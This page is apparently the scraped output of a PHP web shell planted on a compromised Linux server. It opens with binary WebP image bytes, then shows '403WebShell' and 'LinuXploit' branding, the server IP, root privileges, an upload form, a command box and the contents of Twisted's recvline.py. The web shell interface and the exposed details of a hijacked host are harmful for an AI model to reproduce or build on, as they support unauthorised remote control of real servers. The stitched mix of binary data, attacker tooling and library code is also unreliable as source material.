RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/conch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /lib/python3/dist-packages/twisted/conch//recvline.py
# -*- test-case-name: twisted.conch.test.test_recvline -*-
# Copyright (c) Twisted Matrix Laboratories.
# See LICENSE for details.

"""
Basic line editing support.

@author: Jp Calderone
"""

import string

from zope.interface import implementer

from twisted.conch.insults import insults, helper

from twisted.python import log, reflect
from twisted.python.compat import iterbytes

_counters = {}
class Logging(object):
    """
    Wrapper which logs attribute lookups.

    This was useful in debugging something, I guess.  I forget what.
    It can probably be deleted or moved somewhere more appropriate.
    Nothing special going on here, really.
    """
    def __init__(self, original):
        self.original = original
        key = reflect.qual(original.__class__)
        count = _counters.get(key, 0)
        _counters[key] = count + 1
        self._logFile = open(key + '-' + str(count), 'w')


    def __str__(self):
        return str(super(Logging, self).__getattribute__('original'))


    def __repr__(self):
        return repr(super(Logging, self).__getattribute__('original'))


    def __getattribute__(self, name):
        original = super(Logging, self).__getattribute__('original')
        logFile = super(Logging, self).__getattribute__('_logFile')
        logFile.write(name + '\n')
        return getattr(original, name)



@implementer(insults.ITerminalTransport)
class TransportSequence(object):
    """
    An L{ITerminalTransport} implementation which forwards calls to
    one or more other L{ITerminalTransport}s.

    This is a cheap way for servers to keep track of the state they
    expect the client to see, since all terminal manipulations can be
    send to the real client and to a terminal emulator that lives in
    the server process.
    """

    for keyID in (b'UP_ARROW', b'DOWN_ARROW', b'RIGHT_ARROW', b'LEFT_ARROW',
                  b'HOME', b'INSERT', b'DELETE', b'END', b'PGUP', b'PGDN',
                  b'F1', b'F2', b'F3', b'F4', b'F5', b'F6', b'F7', b'F8',
                  b'F9', b'F10', b'F11', b'F12'):
        execBytes = keyID + b" = object()"
        execStr = execBytes.decode("ascii")
        exec(execStr)

    TAB = b'\t'
    BACKSPACE = b'\x7f'

    def __init__(self, *transports):
        assert transports, (
            "Cannot construct a TransportSequence with no transports")
        self.transports = transports

    for method in insults.ITerminalTransport:
        exec("""\
def %s(self, *a, **kw):
    for tpt in self.transports:
        result = tpt.%s(*a, **kw)
    return result
""" % (method, method))



class LocalTerminalBufferMixin(object):
    """
    A mixin for RecvLine subclasses which records the state of the terminal.

    This is accomplished by performing all L{ITerminalTransport} operations on both
    the transport passed to makeConnection and an instance of helper.TerminalBuffer.

    @ivar terminalCopy: A L{helper.TerminalBuffer} instance which efforts
    will be made to keep up to date with the actual terminal
    associated with this protocol instance.
    """

    def makeConnection(self, transport):
        self.terminalCopy = helper.TerminalBuffer()
        self.terminalCopy.connectionMade()
        return super(LocalTerminalBufferMixin, self).makeConnection(
            TransportSequence(transport, self.terminalCopy))


    def __str__(self):
        return str(self.terminalCopy)



class RecvLine(insults.TerminalProtocol):
    """
    L{TerminalProtocol} which adds line editing features.

    Clients will be prompted for lines of input with all the usual
    features: character echoing, left and right arrow support for
    moving the cursor to different areas of the line buffer, backspace
    and delete for removing characters, and insert for toggling
    between typeover and insert mode.  Tabs will be expanded to enough
    spaces to move the cursor to the next tabstop (every four
    characters by default).  Enter causes the line buffer to be
    cleared and the line to be passed to the lineReceived() method
    which, by default, does nothing.  Subclasses are responsible for
    redrawing the input prompt (this will probably change).
    """
    width = 80
    height = 24

    TABSTOP = 4

    ps = (b'>>> ', b'... ')
    pn = 0
    _printableChars = string.printable.encode("ascii")

    def connectionMade(self):
        # A list containing the characters making up the current line
        self.lineBuffer = []

        # A zero-based (wtf else?) index into self.lineBuffer.
        # Indicates the current cursor position.
        self.lineBufferIndex = 0

        t = self.terminal
        # A map of keyIDs to bound instance methods.
        self.keyHandlers = {
            t.LEFT_ARROW: self.handle_LEFT,
            t.RIGHT_ARROW: self.handle_RIGHT,
            t.TAB: self.handle_TAB,

            # Both of these should not be necessary, but figuring out
            # which is necessary is a huge hassle.
            b'\r': self.handle_RETURN,
            b'\n': self.handle_RETURN,

            t.BACKSPACE: self.handle_BACKSPACE,
            t.DELETE: self.handle_DELETE,
            t.INSERT: self.handle_INSERT,
            t.HOME: self.handle_HOME,
            t.END: self.handle_END}

        self.initializeScreen()


    def initializeScreen(self):
        # Hmm, state sucks.  Oh well.
        # For now we will just take over the whole terminal.
        self.terminal.reset()
        self.terminal.write(self.ps[self.pn])
        # XXX Note: I would prefer to default to starting in insert
        # mode, however this does not seem to actually work!  I do not
        # know why.  This is probably of interest to implementors
        # subclassing RecvLine.

        # XXX XXX Note: But the unit tests all expect the initial mode
        # to be insert right now.  Fuck, there needs to be a way to
        # query the current mode or something.
        # self.setTypeoverMode()
        self.setInsertMode()


    def currentLineBuffer(self):
        s = b''.join(self.lineBuffer)
        return s[:self.lineBufferIndex], s[self.lineBufferIndex:]


    def setInsertMode(self):
        self.mode = 'insert'
        self.terminal.setModes([insults.modes.IRM])


    def setTypeoverMode(self):
        self.mode = 'typeover'
        self.terminal.resetModes([insults.modes.IRM])


    def drawInputLine(self):
        """
        Write a line containing the current input prompt and the current line
        buffer at the current cursor position.
        """
        self.terminal.write(self.ps[self.pn] + b''.join(self.lineBuffer))


    def terminalSize(self, width, height):
        # XXX - Clear the previous input line, redraw it at the new
        # cursor position
        self.terminal.eraseDisplay()
        self.terminal.cursorHome()
        self.width = width
        self.height = height
        self.drawInputLine()


    def unhandledControlSequence(self, seq):
        pass


    def keystrokeReceived(self, keyID, modifier):
        m = self.keyHandlers.get(keyID)
        if m is not None:
            m()
        elif keyID in self._printableChars:
            self.characterReceived(keyID, False)
        else:
            log.msg("Received unhandled keyID: %r" % (keyID,))


    def characterReceived(self, ch, moreCharactersComing):
        if self.mode == 'insert':
            self.lineBuffer.insert(self.lineBufferIndex, ch)
        else:
            self.lineBuffer[self.lineBufferIndex:self.lineBufferIndex+1] = [ch]
        self.lineBufferIndex += 1
        self.terminal.write(ch)


    def handle_TAB(self):
        n = self.TABSTOP - (len(self.lineBuffer) % self.TABSTOP)
        self.terminal.cursorForward(n)
        self.lineBufferIndex += n
        self.lineBuffer.extend(iterbytes(b' ' * n))


    def handle_LEFT(self):
        if self.lineBufferIndex > 0:
            self.lineBufferIndex -= 1
            self.terminal.cursorBackward()


    def handle_RIGHT(self):
        if self.lineBufferIndex < len(self.lineBuffer):
            self.lineBufferIndex += 1
            self.terminal.cursorForward()


    def handle_HOME(self):
        if self.lineBufferIndex:
            self.terminal.cursorBackward(self.lineBufferIndex)
            self.lineBufferIndex = 0


    def handle_END(self):
        offset = len(self.lineBuffer) - self.lineBufferIndex
        if offset:
            self.terminal.cursorForward(offset)
            self.lineBufferIndex = len(self.lineBuffer)


    def handle_BACKSPACE(self):
        if self.lineBufferIndex > 0:
            self.lineBufferIndex -= 1
            del self.lineBuffer[self.lineBufferIndex]
            self.terminal.cursorBackward()
            self.terminal.deleteCharacter()


    def handle_DELETE(self):
        if self.lineBufferIndex < len(self.lineBuffer):
            del self.lineBuffer[self.lineBufferIndex]
            self.terminal.deleteCharacter()


    def handle_RETURN(self):
        line = b''.join(self.lineBuffer)
        self.lineBuffer = []
        self.lineBufferIndex = 0
        self.terminal.nextLine()
        self.lineReceived(line)


    def handle_INSERT(self):
        assert self.mode in ('typeover', 'insert')
        if self.mode == 'typeover':
            self.setInsertMode()
        else:
            self.setTypeoverMode()


    def lineReceived(self, line):
        pass



class HistoricRecvLine(RecvLine):
    """
    L{TerminalProtocol} which adds both basic line-editing features and input history.

    Everything supported by L{RecvLine} is also supported by this class.  In addition, the
    up and down arrows traverse the input history.  Each received line is automatically
    added to the end of the input history.
    """
    def connectionMade(self):
        RecvLine.connectionMade(self)

        self.historyLines = []
        self.historyPosition = 0

        t = self.terminal
        self.keyHandlers.update({t.UP_ARROW: self.handle_UP,
                                 t.DOWN_ARROW: self.handle_DOWN})


    def currentHistoryBuffer(self):
        b = tuple(self.historyLines)
        return b[:self.historyPosition], b[self.historyPosition:]


    def _deliverBuffer(self, buf):
        if buf:
            for ch in iterbytes(buf[:-1]):
                self.characterReceived(ch, True)
            self.characterReceived(buf[-1:], False)


    def handle_UP(self):
        if self.lineBuffer and self.historyPosition == len(self.historyLines):
            self.historyLines.append(b''.join(self.lineBuffer))
        if self.historyPosition > 0:
            self.handle_HOME()
            self.terminal.eraseToLineEnd()

            self.historyPosition -= 1
            self.lineBuffer = []

            self._deliverBuffer(self.historyLines[self.historyPosition])


    def handle_DOWN(self):
        if self.historyPosition < len(self.historyLines) - 1:
            self.handle_HOME()
            self.terminal.eraseToLineEnd()

            self.historyPosition += 1
            self.lineBuffer = []

            self._deliverBuffer(self.historyLines[self.historyPosition])
        else:
            self.handle_HOME()
            self.terminal.eraseToLineEnd()

            self.historyPosition = len(self.historyLines)
            self.lineBuffer = []
            self.lineBufferIndex = 0


    def handle_RETURN(self):
        if self.lineBuffer:
            self.historyLines.append(b''.join(self.lineBuffer))
        self.historyPosition = len(self.historyLines)
        return RecvLine.handle_RETURN(self)

Youez - 2016 - github.com/yon3zu
LinuXploit